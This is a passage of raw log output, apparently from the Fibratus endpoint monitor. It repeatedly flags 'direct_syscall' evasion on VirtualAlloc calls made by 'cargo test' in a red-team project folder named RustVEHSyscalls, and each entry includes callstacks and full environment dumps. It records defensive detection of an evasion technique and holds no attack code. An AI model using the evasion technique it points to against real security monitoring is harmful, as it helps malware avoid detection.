C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb10906 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903056 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9978724 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d8000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb10906 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903058 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.997888 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d7000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff69008b8dd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb10989 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903075 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0009705 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d4000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program 